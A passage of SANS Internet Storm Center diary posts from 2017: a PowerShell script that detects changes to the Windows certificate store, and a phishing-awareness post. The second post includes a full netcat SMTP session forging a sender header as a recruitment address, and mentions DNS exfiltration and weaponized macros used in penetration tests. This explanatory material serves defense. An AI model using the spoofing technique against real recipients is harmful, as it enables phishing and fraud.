PS C:\Users\xavier> $store = New-Object System.Security.Cryptography.X509Certificates.X509Store("root","LocalMachine") $store.Open("ReadOnly") $store.certificates | select ThumbPrint,FriendlyName,NotAfter Thumbprint FriendlyName NotAfter ---------- ------------ -------- CDD4EEAE6000AC7F40C3802C171E30148030C072 Microsoft Root Certificate Authority 10-May-21 01:28:13 BE36A4562FB2EE05DBB3D32323ADF445084ED656 Thawte Timestamping CA 01-Jan-21 00:59:59 A43489159A520F0D93D032CCAF37E7FE20A8B419 Microsoft Root Authority 31-Dec-20 08:00:00 92B46C76E13054E104F230517E6E504D43AB10B5 15-Mar-32 00:59:59 8F43288AD272F3103B6FB1428485EA3014C0BCFE Microsoft Root Certificate Authority 2011 22-Mar-36 23:13:04 7F88CD7223F3C813818C994614A89C99FA3B5247 Microsoft Authenticode(tm) Root 01-Jan-00 00:59:59 3B1EFD3A66EA28B16697394703A72CA340A05BD5 Microsoft Root Certificate Authority 2010 24-Jun-35 00:04:01 245C97DF7514E7CF2DF8BE72AE957B9E04741E85 Microsoft Timestamp Root 31-Dec-99 00:59:59 18F7C1FCC3090203FD5BAA2F861A754976C8DD25 VeriSign Time Stamping CA 08-Jan-04 00:59:59

What I'm doing on my test computers, I'm running a quick PowerShell script that collects details for all the certificates installed in the store, computes a SHA256 hash of the results and compares it with the hash generated by the last execution. Schedule it at a regular interval (ex: once a day). It will display information on the console but also create a specific Windows Event in the Application log:

# # Generates a SHA256 hash of the certificate store and # compares it with the previous execution. # # Note: # Do This with admin privs to create the new eventlog source: # New-EventLog –LogName Application –Source “CertificateStoreChecker” param( [String]$outputPath="$env:USERPROFILE\certstore.hash" ) # Compute the hash of a string Function Get-StringHash([String] $String,$HashName = "SHA256") { $StringBuilder = New-Object System.Text.StringBuilder [System.Security.Cryptography.HashAlgorithm]::Create($HashName).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{ [Void]$StringBuilder.Append($_.ToString("x2")) } $StringBuilder.ToString() } # Replace 'CERT:' with your prefered location (ex: CERT:\CurrentUser\root) # if you want to focus on specific certificates. $certStoreDump = Get-ChildItem -Recurse -Path "CERT:\" $newSHA256 = Get-StringHash $certStoreDump $fileExists = Test-Path $outputPath if ($fileExists -eq $True) { $oldSHA256 = Get-Content $outputPath if($oldSHA256 -ne $newSHA256) { Write-Host "[WARNING] Certificate store content changed since the last execution!" Write-EventLog -LogName "Application" -Source "CertificateStoreChecker" -EventID 65501 -EntryType Information -Message "[WARNING] Certificate store content changed since the last execution!" } } else { Write-Host "[INFO] First execution, generating SHA256 file: $outputPath" Write-EventLog -LogName "Application" -Source "CertificateStoreChecker" -EventID 65500 -EntryType Information -Message "[INFO] First execution, generating SHA256 file: $outputPath" } Out-File -FilePath $outputPath -InputObject $newSHA256

By default, the hash is stored in %USERPROFILE%\certstore.hash but you can specify it on the command line:

PS C:\bin> .\certificatestorechecker.ps1 [WARNING] Certificate store content changed since the last execution!

And the corresponding event in the Event Log Viewer:

[1] http://www.securityweek.com/savitech-audio-drivers-caught-installing-root-certificate

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 10.

Battling e-mail phishing, (Fri, Nov 10th)

Lately I’ve been doing a lot of phishing exercises – by looking at last couple of years I would say that we can finally see some increased awareness. Unfortunately, this increased awareness is mainly between the IT security folks: the phishing (or social engineering) campaigns usually have very devastating results.

When conducing a social engineering attack through e-mail, I normally try to mimic the bad guys, to make the attack as realistic as possible. I tend to group them as below:

  • Phishing e-mails where the victim is being enticed to click on a link (and potentially later enter her/his credentials to a phishing web site),
  • Phishing e-mails with an executable in the attachment (either directly, or in an encrypted archive). The goal is to get the victim to unpack and execute the binary. For engagements, I normally use a benign executable that typically enumerate the local machine and exfiltrates that data to me (through DNS, for example),
  • Phishing e-mails with an office document in the attachment, that has been weaponized (i.e. a macro in Word, Excel or PowerPoint). The weaponization is normally similar to the previous bullet, where, for the engagement purposes, we normally want to know how many users opened the attachment.

Of course, any phisher worth his weight will always try to make the phishing e-mail look as legitimate as possible. Besides nicely creating the e-mail in HTML, probably the most important field (for the victim) is the sender.
As I’m sure most of our readers know, with SMTP there are two places where the sender is being defined: the envelope from field (use during SMTP) and the body from field, which is normally displayed in MUA’s (mail user agents) such as Outlook, Thunderbird and similar.

The issue here, that I’ve been consistently seeing when conducting such phishing engagements, is that the majority of servers verify only the envelope from field and ignore the body from field (or just use it for anti-spam detection). And of course, there are even those that do not check the envelope from field and simply allow anything to be set there.

This will result in an attacker being able to send e-mails such as the one below:

$ nc mail.server 25
Trying 10.10.10.10...
Connected to mail.server (10.10.10.10).
Escape character is '^]'.
220 mail.server ESMTP Postfix
EHLO server
250-mail.server
250-PIPELINING
250-SIZE 52428800
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM: notreallyimportant@phisher.com
250 2.1.0 Ok
RCPT TO: bojan.zdrnja@infigo.hr
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: "Recruitment" <recruitment@sans.org>
Subject: Your job application
To: Bojan Zdrnja <bojan.zdrnja@infigo.hr>

.
250 2.0.0 Ok: queued as C811CC0EB0E7

As you can see above, the e-mail was happily accepted by the SMTP server and delivered to the (potential) victim. The envelope from field was here set as notreallyimportant@phisher.com – generally it is important that this domain exists. While SPF can protect against attackers forging the sending domain, in most cases attackers will not care: they can simply register a new domain and set correct SPF records for it.

The issue is in the way the e-mail is shown in clients. Here is what the e-mail above will look like in Outlook:

This is probably game over for a typical victim. The only way for the victim to verify where the e-mail came from would be to check the message headers, which is probably something virtually none of the recipients will do (and, by the way, getting to message headers in Outlook is waaay to complex for an average user).

Gmail displays this a bit better, here is the same e-mail sent from my server:

We can see that Gmail added some extra information next to the sender’s name – the domain of the envelope sender (which passed SPF). When I picked a domain without SPF records, this is what the e-mail looked like in Gmail:

No domain in extra information now, but there is an icon with a question mark, indicating that Google was not able to verify the sender. I wonder how many users will see this ?
In each of the cases above, as we can see, the attacker simply needs to be a bit creative on forging the e-mail. Of course, many systems will detect (or will try to detect) the phishing e-mail by examining the body – but we know that this can be always circumvented.

So, what can we do here? One might think that we can start blocking e-mails if the body from field does not match the envelope from field. Or, we might block body from field if the e-mail originates from the Internet, but the body from is set to our organization? Unfortunately, this might break a lot of things such as mailing lists which will have the body from field set to the sender typically.

There does not seem to be a silver bullet currently. I normally recommend that organizations set their SPF and DKIM records, but the real issue is with the e-mail clients - so I believe we need to push organizations such as Microsoft to add more information to the displayed e-mail. Google seem to be on a right path here with Gmail, but even there the display could be improved.

How are you battling such e-mails? Share your experience with us here.

--
Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 10.

ISC Stormcast For Friday, November 10th 2017 https://isc.sans.edu/podcastdetail.html&#x3f;id=5750, (Fri, Nov 10th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.